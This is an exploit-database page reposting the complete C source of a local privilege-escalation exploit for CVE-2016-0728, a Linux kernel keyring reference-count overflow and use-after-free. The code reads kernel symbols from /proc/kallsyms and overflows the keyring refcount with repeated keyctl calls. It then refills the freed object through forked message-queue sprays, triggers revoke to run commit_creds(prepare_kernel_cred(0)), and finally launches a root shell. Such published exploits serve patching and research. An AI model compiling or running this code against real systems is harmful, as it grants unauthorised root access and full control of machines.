Lucene search
K

Linux Kernel REFCOUNT Overflow / Use-After-Free

🗓️ 20 Jan 2016 00:00:00Reported by Perception Point TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Linux kernel REFCOUNT overflow/Use-After-Free local root exploit. C code to read kernel symbols

Related
Code
`# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings  
# Date: 19/1/2016  
# Exploit Author: Perception Point Team  
# CVE : CVE-2016-0728  
  
/* CVE-2016-0728 local root exploit  
modified by Federico Bento to read kernel symbols from /proc/kallsyms  
props to grsecurity/PaX for preventing this in so many ways  
  
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall  
$ ./cve_2016_072 PP_KEY */  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/types.h>  
#include <keyutils.h>  
#include <unistd.h>  
#include <time.h>  
#include <unistd.h>  
  
#include <sys/ipc.h>  
#include <sys/msg.h>  
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (*   
_prepare_kernel_cred)(unsigned long cred);  
_commit_creds commit_creds;  
_prepare_kernel_cred prepare_kernel_cred;  
  
#define STRUCT_LEN (0xb8 - 0x30)  
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)  
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)  
  
  
  
struct key_type {  
char * name;  
size_t datalen;  
void * vet_description;  
void * preparse;  
void * free_preparse;  
void * instantiate;  
void * update;  
void * match_preparse;  
void * match_free;  
void * revoke;  
void * destroy;  
};  
  
/* thanks spender - Federico Bento */  
static unsigned long get_kernel_sym(char *name)  
{  
FILE *f;  
unsigned long addr;  
char dummy;  
char sname[256];  
int ret;  
  
f = fopen("/proc/kallsyms", "r");  
if (f == NULL) {  
fprintf(stdout, "Unable to obtain symbol listing!\n");  
exit(0);  
}  
  
ret = 0;  
while(ret != EOF) {  
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);  
if (ret == 0) {  
fscanf(f, "%s\n", sname);  
continue;  
}  
if (!strcmp(name, sname)) {  
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);  
fclose(f);  
return addr;  
}  
}  
  
fclose(f);  
return 0;  
}  
  
void userspace_revoke(void * key) {  
commit_creds(prepare_kernel_cred(0));  
}  
  
int main(int argc, const char *argv[]) {  
const char *keyring_name;  
size_t i = 0;  
unsigned long int l = 0x100000000/2;  
key_serial_t serial = -1;  
pid_t pid = -1;  
struct key_type * my_key_type = NULL;  
  
struct {  
long mtype;  
char mtext[STRUCT_LEN];  
} msg = {0x4141414141414141, {0}};  
int msqid;  
  
if (argc != 2) {  
puts("usage: ./keys <key_name>");  
return 1;  
}  
  
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());  
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");  
prepare_kernel_cred =   
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");  
if(commit_creds == NULL || prepare_kernel_cred == NULL) {  
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;  
prepare_kernel_cred =   
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;  
if(commit_creds == (_commit_creds)0xffffffff810bb050   
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)  
puts("[-] You probably need to change the address of   
commit_creds and prepare_kernel_cred in source");  
}  
  
my_key_type = malloc(sizeof(*my_key_type));  
  
my_key_type->revoke = (void*)userspace_revoke;  
memset(msg.mtext, 'A', sizeof(msg.mtext));  
  
// key->uid  
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */  
//key->perm  
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;  
  
//key->type  
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;  
  
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {  
perror("msgget");  
exit(1);  
}  
  
keyring_name = argv[1];  
  
/* Set the new session keyring before we start */  
  
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);  
if (serial < 0) {  
perror("keyctl");  
return -1;  
}  
  
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |   
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {  
perror("keyctl");  
return -1;  
}  
  
  
puts("[+] Increfing...");  
for (i = 1; i < 0xfffffffd; i++) {  
if (i == (0xffffffff - l)) {  
l = l/2;  
sleep(5);  
}  
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {  
perror("[-] keyctl");  
return -1;  
}  
}  
sleep(5);  
/* here we are going to leak the last references to overflow */  
for (i=0; i<5; ++i) {  
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {  
perror("[-] keyctl");  
return -1;  
}  
}  
  
puts("[+] Finished increfing");  
puts("[+] Forking...");  
/* allocate msg struct in the kernel rewriting the freed keyring   
object */  
for (i=0; i<64; i++) {  
pid = fork();  
if (pid == -1) {  
perror("[-] fork");  
return -1;  
}  
  
if (pid == 0) {  
sleep(2);  
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {  
perror("[-] msgget");  
exit(1);  
}  
for (i = 0; i < 64; i++) {  
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {  
perror("[-] msgsnd");  
exit(1);  
}  
}  
sleep(-1);  
exit(1);  
}  
}  
  
puts("[+] Finished forking");  
sleep(5);  
  
/* call userspace_revoke from kernel */  
puts("[+] Caling revoke...");  
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {  
perror("[+] keyctl_revoke");  
}  
  
printf("uid=%d, euid=%d\n", getuid(), geteuid());  
execl("/bin/sh", "/bin/sh", NULL);  
  
return 0;  
}  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation